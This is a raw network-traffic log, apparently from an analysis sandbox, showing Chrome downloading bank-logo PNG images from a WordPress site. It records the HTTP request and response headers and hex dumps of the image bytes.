2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 31 f3 5c a3 13 73 54 18 ff ec 97 13 9b 48 00 f3 3e bc 01 25 20 11 98 05 5c 9e 31 df a0 41 03 d6 28 23 0a c4 5c 03 2a ee d1 8d fd e9 ed 25 03 3e 0d cf 60 69 19 a8 46 04 04 bc 90 41 c0 44 7f 55 3a 3d 63 c0 8b b5 e8 8f de 04 18 c0 55 e0 bb 44 35 73 e6 4c 05 ae 5a 4d 55 22 32 33 c3 7d 43 2c 58 b0 00 10 53 35 48 42 00 1b 30 b3 ce 6f fb e2 03 b0 8e 35 18 28 ac 0f ad de bd 7b 03 12 94 41 70 04 c5 b1 08 8e c3 00 37 00 52 84 03 60 14 53 c9 d5 7b ce a8 63 c6 8c 41 11 d7 1f e7 ce 9d 5b 86 62 60 44 ee 1d 4f d1 aa 55 ab 00 2b 8e 86 9f b2 0d 4e c4 81 c8 85 c3 70 54 a2 01 2c 07 89 07 d5 00 30 a2 07 81 c3 3d eb 95 ed 9a 36 6d 8a 1c ac c7 81 04 9f 0b b4 14 29 52 20 1b ed 97 ff e1 18 09 60 d9 0a b0 62 0b f8 92 20 68 0d 28 cd d8 19 70 f0 9c 35 3e 80 f9 e5 5d fc 02 e0 68 29 Data Ascii: 1\sTH>% \1A(#\*%>`iFADU:=cUD5sLZMU"23}C,XS5HB0o5({Ap7R`S{cA[b`DOU+NpT,0=6m)R `b h(p5>]h)
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 25 eb 7d 37 30 cf 9e 3d 2b a7 5e c9 1f a1 5c 03 c0 4d 48 fd 4d 49 92 c7 16 7e cf 74 9a a4 b1 60 c0 62 f0 dd 23 2b 48 0e 40 c1 0d 1f b2 c0 40 af 2d 4d 22 71 ce 7d b0 60 f8 78 e0 68 6c 4c f8 78 ad 38 7c f1 6b 27 19 7f f3 cd 37 fa 13 c8 44 21 18 0a 46 c1 35 e4 ef d9 3c 07 19 90 0b 43 95 c2 ce f6 6f c0 2e 8c 74 bc 00 2b 32 aa bf 75 ec cc 58 20 96 39 d1 61 03 48 73 4d de 0c 1e 0d ce f5 b3 9a 78 ab 2c 91 89 89 83 0b fb e0 83 0f 04 bd 4d 34 e2 80 ae 23 c8 42 38 ee 8d 63 4a 97 de a7 9d 04 ac 9d 8f 06 30 00 51 16 cf d5 ce a3 87 b6 51 b0 e2 c6 65 ab 78 1e 7c f6 a7 9f 7e 3a 62 81 4b 0a 88 72 50 7c a1 a6 07 e9 dd b4 cc ef bf ff 3e 8f 28 f2 50 3c d9 38 a4 fc 6a 47 a6 bb 16 6b 27 ef 62 d9 da ce f2 93 81 f7 28 9e f8 7b b7 67 b1 77 a1 d5 99 a0 3d 6e 81 81 61 d6 41 74 28 Data Ascii: %}70=+^\MHMI~t`b#+H@@-M"q}`xhlLx8\|k'7D!F5<Co.t+2uX 9aHsMx,M4#B8cJ0QQex\|~:bKrP\|>(P<8jGk'b({gw=naAt(
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: b7 f7 7c c6 5d 72 55 53 48 59 de c3 3c 29 45 c2 ff dc 5f a8 cc 2a 87 3f ff fc d3 fd 95 df 29 64 f1 bf bf 4b f9 5e 05 c0 80 93 15 8c df 57 4a 59 dd 6b f3 00 9f 01 6d 2e db 67 94 cb a4 48 64 46 db 1c c9 e1 20 07 2e 91 33 ad aa ff 6b 57 6d d2 0e cf f4 5e 7d f0 19 b7 bf 17 19 4c 6f b7 29 62 d6 58 82 89 c2 00 72 8a 50 48 cd df 55 c0 a1 6d 3c 4e 6d 4e 81 c9 92 67 e2 09 97 47 3f 9b 03 d7 d1 02 e5 c7 8f 2a f0 ff 69 35 ee 11 ae b4 83 e3 9e 3f eb 01 9a 89 a7 d5 94 65 96 eb 5d 8b 03 03 88 d7 8a d8 2b 28 0f e4 c0 03 2c 65 bb aa db f5 1e 6e 8a 77 d6 8f 26 c6 5e 2f 01 b8 08 46 34 24 2b d8 e4 b5 cf 6a 97 cf ab 4b 69 c5 0c f7 0e f0 22 13 38 b4 67 36 e9 cb 0b dc b7 23 10 ca a1 56 05 88 79 3f 11 88 b2 74 fa da 12 a3 da 57 1b 92 89 62 2e 0a 2d ac 37 33 b7 e7 01 18 28 66 c1 Data Ascii: \|]rUSHY<)E_?)dK^WJYkm.gHdF .3kWm^}Lo)bXrPHUm<NmNgG?i5?e]+(,enw&^/F4$+jKi"8g6#Vy?tWb.-73(f
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: f2 bb 16 80 1b 8b bd 08 97 92 33 24 15 e7 b8 47 00 e6 a9 2c e3 4a 56 7b 13 c5 ed c1 b6 25 de 4b 7f 2a 06 72 ff 62 cf fa 10 7d 89 b6 00 b0 36 9e 16 85 d8 6b f2 8b 11 06 e6 b9 42 d5 44 8d b0 5a 9c 19 7d 40 1d 58 d2 2a b4 b8 33 83 eb 7b c5 6c a5 2f 0b f3 b4 25 51 96 ad c9 59 c0 28 9d 09 f0 da 92 30 f7 9e b3 8f 05 70 1e 00 30 71 ff 2c d5 0c f4 b3 34 ac 2d c5 73 ad b6 17 c1 30 68 94 95 b2 25 a3 80 a2 dd 57 a3 10 db 22 76 88 86 00 30 05 2c f5 5b 42 86 87 f3 bc 07 56 fa 5e 02 70 63 5f 9f 14 16 91 c3 4c 2f 17 23 87 0b 94 cf ba ba 9e 79 0e 80 73 77 eb 98 e0 95 1d b3 74 1e 89 37 00 28 43 16 ac e0 7a 35 bb 3a d3 e7 c0 6a 65 86 89 04 6b 20 86 1b f9 9f 71 c4 99 ed 29 9d 4a 18 9e e5 fa 32 84 2d 3c bd 16 85 28 ae e9 f9 d5 31 ec 99 3f 70 02 18 a0 b4 5e cf 35 da 6a 30 f5 Data Ascii: 3$G,JV{%Krb}6kBDZ}@X3{l/%QY(0p0q,4-s0h%W"v0,[BV^pc_L/#yswt7(Cz5:jek q)J2-<(1?p^5j0
2024-04-11 21:26:49 UTC	862	IN	Data Raw: 71 e0 bd a3 64 99 ab 99 fd e2 6e 5b bf 57 69 61 71 eb 56 69 00 0a 05 df 71 5b cb d5 db b8 5b 1b 8a de 04 c8 b6 af 75 96 e2 8e 2f 17 61 28 7e ae fd 64 47 2e fd a8 8e dd 27 19 93 e8 60 7c b4 98 b6 6b db 84 05 40 5b f9 9d 52 74 ea 4b 13 f2 56 8d 4c 90 b7 6f 9d 53 84 08 77 9f 51 8b 53 a3 10 c5 58 8b 11 e2 5b dc 10 2b 53 c5 54 b5 b8 b6 95 ca 35 d5 c8 00 27 92 e0 3a 82 2e 47 6e a0 a5 a2 45 0d 00 19 20 69 35 ce 58 29 26 8b 9c d0 b3 16 59 62 9c 91 4b 6b a3 6d 3c da 40 b9 af 49 c8 45 00 eb 53 83 88 8b bb 4f 01 f8 c0 57 fd 85 05 9d eb d8 7b 27 d7 2e 0a c5 92 05 aa 68 16 e0 1a 64 0a 86 83 ee df 4b 53 d7 9b 5c 5b a2 14 80 2a 18 2a 1e 3e bf 33 8b c9 67 65 1c 65 e0 55 cc 51 6c 33 80 af 6f 7a 58 ff fd 04 80 fe a3 79 19 91 96 52 45 29 b2 fa fe 8e 1e 15 71 0a fc 3c 08 4f Data Ascii: qdn[WiaqViq[[u/a(~dG.'`\|k@[RtKVLoSwQSX[+ST5':.GnE i5X)&YbKkm<@IESOW{'.hdKS\[**>3geeUQl3ozXyRE)q<O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.17	49892	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	874	OUT	GET /wp-content/uploads/RBC-Royal-Bank.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 8831 Connection: close CF-Ray: 872e0e9b4c70427f-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-227f" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7F4fRkT5ai4HACbNbWXsrfbX9XCLhHnfah484rqlApWSAdeQQED%2Bf%2B2ZwS%2Ftd%2B85yM5YpWg7Juc6jz8HQGbpc6Ooe10IE7kPJYotnddgH%2B%2Bbvpx9gdN7kCkVMuODlXjlMiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 38 08 06 00 00 00 ab 1d f7 73 00 00 22 46 49 44 41 54 78 da ec 9b 65 a8 55 4f 17 c6 8f 81 8a dd dd dd dd dd dd dd 85 a8 d8 dd dd 81 8d d8 8a d8 82 18 18 28 62 07 d8 dd dd 89 dd b1 5e 7e 0b 16 0c fb dc 7b f1 e5 af 97 fb 61 0f 0c e7 9c bb 67 cf 9e d9 f3 3c 6b 3d 6b cd dc 80 84 51 be 7c f9 22 6e f9 f1 e3 87 e7 7b f0 df 42 2b bf 7f ff 96 cf 9f 3f 5b 9b 3f 2e df be 7d 93 f7 ef df 0b c5 3e e9 c3 2a 7d 5a 3b ef 18 9e 3c 79 22 5f bf 7e 0d 71 5e d6 ce 3b bf 5f bf 7e 89 15 be 33 6e b7 fc fc f9 33 68 be df bf 7f b7 f1 05 b5 e3 7e eb 8b f6 76 8d 71 d9 7d 76 fd c3 87 0f b4 b1 fb c2 ac 7e f9 3b 25 20 14 67 11 58 14 aa 03 16 ef c2 d2 2e 2c c2 b0 88 f4 c1 22 d3 de ed 9f fa a7 c0 a7 d2 57 88 20 a4 ff 90 Data Ascii: PNGIHDR8s"FIDATxeUO(b^~{ag<k=kQ\|"n{B+?[?.}>*}Z;<y"_~q^;_~3n3h~vq}v~;% gX.,"W
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 3c de 8f 0b 78 9e 6b f3 0d 7a a6 91 d6 7d 17 ee 98 21 02 fd 3d 7a f4 48 0e 1c 38 20 fb f7 ef 97 c7 8f 1f db 65 5f 02 59 09 4f 0f 60 8b b7 6e dd 3a e9 da b5 ab f4 e8 d1 43 46 8e 1c 29 23 46 8c 90 2e 5d ba 48 f3 e6 cd a5 71 e3 c6 54 be eb b5 6e dd ba 49 bf 7e fd b4 cd c0 81 03 a9 7c d7 6b c3 87 0f 97 21 43 86 48 ff fe fd b5 0e 1e 3c 58 86 0d 1b a6 7f 1b 30 60 80 f4 e9 d3 27 cc da bd 7b 77 ed ef fa f5 eb e2 82 c2 8a 0b be f3 e7 cf 4b af 5e bd a4 58 b1 62 d2 a2 45 0b 69 d5 aa 95 94 2d 5b 56 8a 14 29 22 b9 73 e7 96 ca 95 2b 4b a5 4a 95 a4 64 c9 92 d2 ae 5d 3b ed 77 e7 ce 9d 10 38 c8 e3 5d bc 78 51 9f 5d a3 46 0d 69 d8 b0 a1 74 ec d8 51 6a d7 ae ad bf f3 e5 cb 27 c5 8b 17 d7 7e ea d6 ad ab e3 9c 32 65 8a ec d9 b3 87 f1 18 a9 20 5a 88 12 08 63 b0 75 eb 56 19 35 Data Ascii: <xkz}!=zH8 e_YO`n:CF)#F.]HqTnI~\|k!CH<X0`'{wK^XbEi-[V)"s+KJd];w8]xQ]FitQj'~2e ZcuV5
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 91 69 21 c0 05 90 e8 ed a0 fd 0d e4 1b 32 09 32 31 47 82 7a 48 6b f2 0a 72 43 68 be 13 08 63 00 6c 4c ae 27 19 3a 74 28 12 0a b9 a5 f3 59 b3 66 8d bf d3 1b c1 4a c0 2b 27 d0 ce 04 74 e4 c2 e7 cf 9f 8f b4 31 4f 00 88 d1 c5 c8 1b 16 15 90 63 ed 35 4d b8 72 e5 4a 39 7e fc 38 99 10 64 13 b1 00 f1 01 7d 90 e3 06 70 c8 1f 08 c0 ef 7f 4e 00 2a d9 26 80 4b 5a 11 ef 83 45 27 53 04 99 91 6d 26 7d 0c 74 ee ae 37 f7 00 7c ee 43 5a 11 e0 e3 1d 97 2c 59 22 b3 66 cd 92 e9 d3 a7 33 7f c6 89 81 50 29 75 e9 d2 25 71 0a c6 81 3e f0 14 cc 1f a2 30 6e df 03 44 a0 12 74 16 88 85 24 e0 65 37 94 0c 09 9e 00 20 02 04 3e b1 f0 7c 02 66 2a 6d 49 2d 62 61 d7 ae 5d ab 7b 04 9d 3b 77 96 aa 55 ab 02 22 80 08 49 b8 8f f8 01 50 a2 bf ff b9 04 e2 d9 a4 42 d9 f8 c2 62 03 44 2c 36 99 2b 4a Data Ascii: i!221GzHkrChclL':t(YfJ+'t1Oc5MrJ9~8d}pN&KZE'Sm&}t7\|CZ,Y"f3P)u%q>0nDt$e7 >\|fmI-ba]{;wU"IPBbD,6+J
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 02 53 70 d7 57 f4 07 bd 19 83 34 2e 74 d7 07 f7 e4 39 18 3e 5a 94 d2 53 d4 b7 6f df 32 f4 62 0d 9f 25 2f af 9d ae 95 06 45 13 2d 28 92 c5 7e f1 bc 62 0f 59 aa 93 fb b1 67 0a f8 d6 ae 1c 03 84 a6 aa 37 a1 33 be 5c 66 03 3a 97 f7 b6 08 c6 40 28 06 a5 c0 d3 a1 3d 37 df aa 6a 2b b0 b8 b3 f2 08 13 4b c9 ac ae 5a 0d e5 11 28 26 65 83 f0 90 ce bd 29 f0 b7 6f df 94 10 e8 03 1a b4 0c e0 7c 30 cc e0 d0 07 81 29 0a 31 95 65 ef 4d f6 be c5 3a 3f 65 89 50 b2 19 54 bb 87 be 31 2c 86 ed 6f f7 f6 fb 8f 1f 3f 5c df 7d 8d 23 e3 9c 75 45 27 f7 0e bb de f8 df bf 7f 6f 91 50 ac 05 00 50 4d 95 aa 7b 67 58 9f f1 ba 05 c1 7f c2 00 a2 3e 09 5a 1e 1f aa 9b 60 0b 39 94 17 da a1 09 02 49 4a 03 e5 0b fc d0 18 54 05 32 aa f9 11 1b e0 ff 3c 82 cf 48 ff f1 26 26 dc ff 7d 9e 52 a1 28 28 Data Ascii: SpW4.t9>ZSo2b%/E-(~bYg73\f:@(=7j+KZ(&e)o\|0)1eM:?ePT1,o?\}#uE'oPPM{gX>Z`9IJT2<H&&}R((
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 1c b1 5d 10 00 03 1c 1e 00 0d f2 12 0f 90 d5 bd f7 a3 3c c0 c8 5c 42 4f f3 00 e4 d0 51 73 a8 46 09 60 94 a2 a6 64 f4 a1 c3 c3 02 9e 27 68 fb ec d5 9e 6b 9f 4a a5 f2 e6 5a 8a bd 63 38 f3 7c d7 31 00 ca 8c b3 0b 66 71 7f 02 66 71 6d 00 87 98 e8 ce ab 57 af 08 94 27 70 1d 14 81 ec bc 06 64 a7 b8 e8 0f 63 e2 b6 28 1e 61 b7 37 18 2a 09 8a 95 60 58 11 c5 f9 c5 1d 5c 7a 06 b0 dd e1 cc ab 37 70 99 23 4a ae df fa c3 83 74 b6 e8 bc 06 ea 51 82 ca 1a d4 e2 cc 03 75 2f 15 e2 3f 6e 00 bc 96 d4 31 99 02 13 f2 94 b5 23 93 9d d6 2d 1e 32 6f bc 22 af cc 70 00 15 a3 a9 b5 bf c1 22 a5 f9 64 08 74 00 ca 92 f9 13 f3 7f 3a b6 ab 63 9d 47 65 ee f4 8b 7e 9c aa bf 7a 9c 01 34 b0 14 8a 01 78 00 a1 7a 48 f5 f9 ea 5e 08 8e d2 c8 db 7b c9 db 6b 78 3c 94 67 24 14 9c f7 e8 28 44 c8 4c Data Ascii: ]<\BOQsF`d'hkJZc8\|1fqfqmW'pdc(a7*`X\z7p#JtQu/?n1#-2o"p"dt:cGe~z4xzH^{kx<g$(DL
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 77 d0 0f 8a 6f 91 2d c3 9a e8 81 9a e9 87 3e a3 6f 10 6d 2f 9e 99 08 ca e1 39 04 4d d1 f5 47 6c c1 b3 51 2a 00 c0 10 70 e9 19 c8 a2 04 94 46 76 ac 7e db fb 80 f6 89 7d 2a fb 98 e3 52 2f d5 0a 3c 10 b9 1a 05 32 af e4 2b 96 b3 19 88 27 b2 40 d9 17 8d f0 74 8c 53 d6 af 5c 7b 72 68 ab 2c b4 6e 2c d1 48 4d 01 23 f0 2a 43 05 58 4a 65 8a 6b 28 35 7d 62 04 d2 e6 d1 aa 4e dc 00 82 c5 89 5e 78 7f 99 2c c6 40 47 c8 1f d0 f0 38 79 17 80 04 dc 14 5e 5a af aa 5f ed f3 2e 7b 76 89 01 84 f6 e8 80 a0 97 20 f0 65 3f 71 33 4a cc 12 f1 b9 b8 aa 07 e3 5f ed f6 92 da e4 66 75 96 62 40 30 f1 00 e1 72 71 9e 81 2f 2b 82 33 11 ee df 31 82 8f 35 00 c2 87 46 9e e5 1e 8c 01 1a 30 34 ca 23 e0 25 70 a8 7f f2 2b 97 04 68 ae 85 7e 26 0e 47 2d a0 aa 35 51 0c 59 fc e3 3a 93 e0 b3 b9 5f e8 Data Ascii: wo->om/9MGlQpFv~}R/<2+'@tS\{rh,n,HM#*CXJek(5}bN^x,@G8y^Z_.{v e?q3J_fub@0rq/+315F04#%p+h~&G-5QY:_
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 26 ca b5 fe ae 9f 01 8e 35 13 cf 2a 3e 72 58 40 5f 5a 1e 5d 20 13 63 a2 08 92 08 94 b8 c9 b4 31 09 95 01 1e c6 d3 57 ca ce d4 e5 8a f1 78 5d 5e 8b 8c d0 2b 9e a4 7e 15 9b 14 37 e9 1b 0f cd 00 c5 62 c9 88 82 45 39 d0 c1 e9 fd 78 1f 34 85 92 77 ac cc 5c 0b 91 05 22 3f e8 af cf 7b cb 6b 34 87 3c 2a 99 91 fa ec f3 e8 ac be 97 1c e0 8d 4b 40 00 57 fa a8 5f 74 4d df 8a 6b 0a f4 87 0e 2d 0a 94 01 54 0c 47 01 dc 4c 0c a0 89 01 28 39 eb 4e f8 22 79 83 31 10 06 13 d2 ba 4e 4a d4 c4 4b 69 e6 ee 0d 5a e7 6b 82 a5 be 63 0b 42 12 1a 65 e8 0b f5 3a 74 b7 b6 6b fd 3b 7f 27 8f 82 86 e9 13 24 10 a7 ec 13 d5 ca 30 18 97 fb 13 20 43 63 9c 21 a1 09 e1 cd f4 1d 7a 99 8c 94 5b 5e bc 9d 6b 52 ac 02 c0 5a f5 43 94 af fe 28 fd 80 52 14 77 1c 9d 32 b3 2d 0c 8e ac a1 1a ef 0a 61 19 Data Ascii: &5>rX@_Z] c1Wx]^+~7bE9x4w\"?{k4<K@W_tMk-TGL(9N"y1NJKiZkcBe:tk;'$0 Cc!z[^kRZC(Rw2-a
2024-04-11 21:26:49 UTC	157	IN	Data Raw: 97 44 88 07 64 25 da 40 b2 82 e9 96 fb 0f b1 e1 fe d6 16 05 4a a9 af d8 f6 44 ef 3a 93 73 8a 90 71 79 b9 ae cf f8 fb 10 01 f0 05 07 38 ed f1 e5 29 0e 73 ea c4 ad 9d 88 01 4e 1c 95 d7 2b 6f 90 62 46 4d 2e 39 3d 38 e5 6d 57 cf 83 06 e7 da d5 0e 79 72 db 68 c9 69 9e 63 b3 79 ff cd 00 0e d8 ee a2 1e 4d 52 13 f8 37 cf ad 79 8c f2 f4 dc ca 08 b6 62 9f da f8 72 08 e5 df 6d d1 c8 9d db 9e c6 70 d8 83 b8 fe ab ed ff 1e e5 d6 a0 86 0c d6 aa 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: Dd%@JD:sqy8)sN+obFM.9=8mWyrhicyMR7ybrmpIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.17	49893	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	863	OUT	GET /wp-content/uploads/UBS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 9500 Connection: close CF-Ray: 872e0e9b6acc8cdd-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-251c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FWSNXcRA5AVVAv0SzU6%2FUWPXGbM8fs%2BETjwFYzccdjltCegb1bPznxMYuaJCQBDzXDDvsgrXW0SrDFA7yeGzUvCGqmpWOl15PJFxHOoZNCzb262aDfrfOcldh3VXQfJ%2FnJM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bf 00 00 00 51 08 06 00 00 00 83 a4 77 f4 00 00 24 e3 49 44 41 54 78 da ec 5a 49 48 96 5d 14 36 9a 68 5e 34 0f 34 cf 73 d1 3c 40 11 11 11 54 14 45 51 51 11 44 45 45 a8 b8 10 1c 36 ba 10 51 44 5c 88 6e dd 08 ba 50 51 14 44 44 10 74 e5 42 05 71 e1 b0 10 e7 79 9e ce cf 73 e0 81 cb c5 be 57 7d 5f f9 fb f0 7d e0 f2 0e df bd f7 3d f7 dc e7 9c 7b ee b9 5f 88 f8 f0 b1 4c 11 22 3e 7c 2c 53 f8 e4 f7 b1 6c e1 93 df c7 b2 85 2b f2 cf ce ce 06 2c 76 dd c9 c9 49 21 46 47 47 85 ef 87 87 87 a5 af af 4f 80 a9 a9 29 ad e7 c3 47 50 93 7f 70 70 d0 24 b2 de 4f 4c 4c 08 49 fe 37 8c 8f 8f 6b 3d 1f 3e 82 96 fc 81 00 72 9b 06 60 d7 9f 9e 9e 16 1f 3e 82 9e fc f0 f8 33 33 33 20 34 09 af cf c4 d8 d8 98 30 14 f2 e1 43 11 ec e4 Data Ascii: PNGIHDRQw$IDATxZIH]6h^44s<@TEQQDEE6QD\nPQDDtBqysW}_}={_L">\|,Sl+,vI!FGGO)GPpp$OLLI7k=>r`>333 40C
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: c3 f7 8e e0 b9 08 fb e7 4a eb 12 ec 1b f2 43 16 16 3c 7b 76 16 c3 3e 39 66 1b f6 7b 3b aa 20 28 13 eb bb 25 3f 85 0b 24 90 23 f9 f7 ed db 27 2b 57 ae c4 e6 16 c6 a2 64 3f 7e fc b8 00 49 49 49 0b 27 bf 33 d1 cc 7e bc 22 80 49 58 4e 3a f5 13 a8 f0 60 cf 34 56 e8 81 6d f9 ce 9e 48 3c a3 9e 53 ff 66 1b ea 1c f2 52 4e d4 71 55 4c 90 f8 2c 78 5e 62 98 c6 c6 42 bd da 73 43 3d 98 8e da 75 d8 c3 8f 9b 02 61 c2 e0 cd 1d c9 ff e0 c1 03 59 bd 7a b5 ac 59 b3 46 f6 ec d9 23 5b b7 6e 95 4d 9b 36 c9 d9 b3 67 61 18 9e 90 1f 07 69 e6 0a 45 20 d3 e4 12 18 03 56 15 fb 79 21 ab 8a 9d f2 a5 ac 00 65 46 9f d4 2d cf 3f 50 e6 b5 f2 a1 4f 1b f4 8c ff 3a c8 13 8b e4 34 30 73 95 a1 41 d3 d0 a9 cf b9 8c c5 13 cf 4f eb fa 5b c7 8e e4 47 88 b3 65 cb 16 25 f9 c6 8d 1b 79 cf e2 9a fc 5c Data Ascii: JC<{v>9f{; (%?$#'+Wd?~III'3~"IXN:`4VmH<SfRNqUL,x^bBsC=uaYzYF#[nM6gaiE Vy!eF-?PO:40sAO[Ge%y\
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 56 9f 3e f6 b1 8f 5d 7d f4 a3 1f 3d dc fb a1 0f 7d 08 61 01 19 8e eb 5a 20 e3 be c6 8d 11 ce c1 86 fb c5 2f 7e b1 83 8e 81 6f 03 7e db 4e 87 f2 c1 0f 7e 10 61 01 b1 67 1d 80 ff 96 b7 bc e5 d0 ef 3f fe f1 8f 57 cf 3c f3 8c 7a 0f 52 fe 1f ff f8 c7 d5 f7 be f7 bd ab b7 be f5 ad 57 2f 7d e9 4b dd a7 5d fa 85 c8 31 05 ff 25 09 cf e7 fc 01 45 23 de f6 b6 b7 1d 38 df 34 5a df f1 8e 77 00 c9 54 13 22 00 9d e9 5a a0 e7 f9 39 dc f3 e2 17 bf f8 56 9c 3f 0e 12 58 b6 cb f5 57 bf fa 15 ae 75 e0 f6 d3 9e f8 e5 2f 7f 79 f5 dc 73 cf e5 99 e9 de b3 0d b6 5c 9f 8e 4f 7f fa d3 88 1b e8 0f 40 7a dd eb 5e 77 f5 da d7 be 16 38 0e e7 3f fd e9 4f 7b 46 36 c3 ac ea 5a 03 4f dd 88 a0 6b a4 84 00 ac 89 46 04 df f8 c6 37 80 9d c4 88 e3 5e 1b f7 88 39 20 26 04 5a db 48 27 e7 6f 7c e3 Data Ascii: V>]}=}aZ /~o~N~ag?W<zRW/}K]1%E#84ZwT"Z9V?XWu/ys\O@z^w8?O{F6ZOkF7^9 &ZH'o\|
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 57 0f a0 7a 06 6e c9 d5 77 eb f6 b7 8e 1a 60 71 44 20 c5 65 23 02 6d 05 fe 63 65 f6 7b 4a cb 77 be f3 9d 08 29 c3 99 ca 57 9d 87 fa ff fc e7 3f 6f 90 4e 4f a0 79 d2 1f f7 20 1c ed e2 e3 9f cf dd 06 bc 3e cc 7a 36 71 21 5a aa 0f c3 57 bd a4 fe f9 6a 0f ae a9 b2 d4 0b 07 d1 02 c8 a2 70 00 ee bf 08 20 fd bb cf dc 9a 5b 17 44 e5 6c 83 c0 8b 48 a6 9a d3 e4 0a 6e 4c 62 ea 7c 7a 78 fa ed 6f 7f fb 9b 4e bb 8e 5a 14 b1 10 c5 b8 df 9e 08 83 73 01 ff 09 f0 1b af 1d 27 79 cf 7b de a3 7f d9 38 d5 c3 2e f1 1b 2f 57 f7 6f fd 9d 43 82 4b 12 f1 68 07 ae af 5f da 87 d1 1e 8b cb 74 5e b9 ce 33 26 ae 22 0a 6c 4e b8 87 cf 77 75 1a 38 94 47 bf cd b0 65 d5 2b 44 0c c0 a7 83 67 f0 e6 d3 2f 1e e0 93 31 ca 57 3c 8b 40 cd 5c c3 cb 2b 11 20 05 83 e8 d1 81 3e 75 06 65 6f ce af 6e d7 Data Ascii: Wznw`qD e#mce{Jw)W?oNOy >z6q!ZWjp [DlHnLb\|zxoNZs'y{8./WoCKh_t^3&"lNwu8Ge+Dg/1W<@\+ >ueon
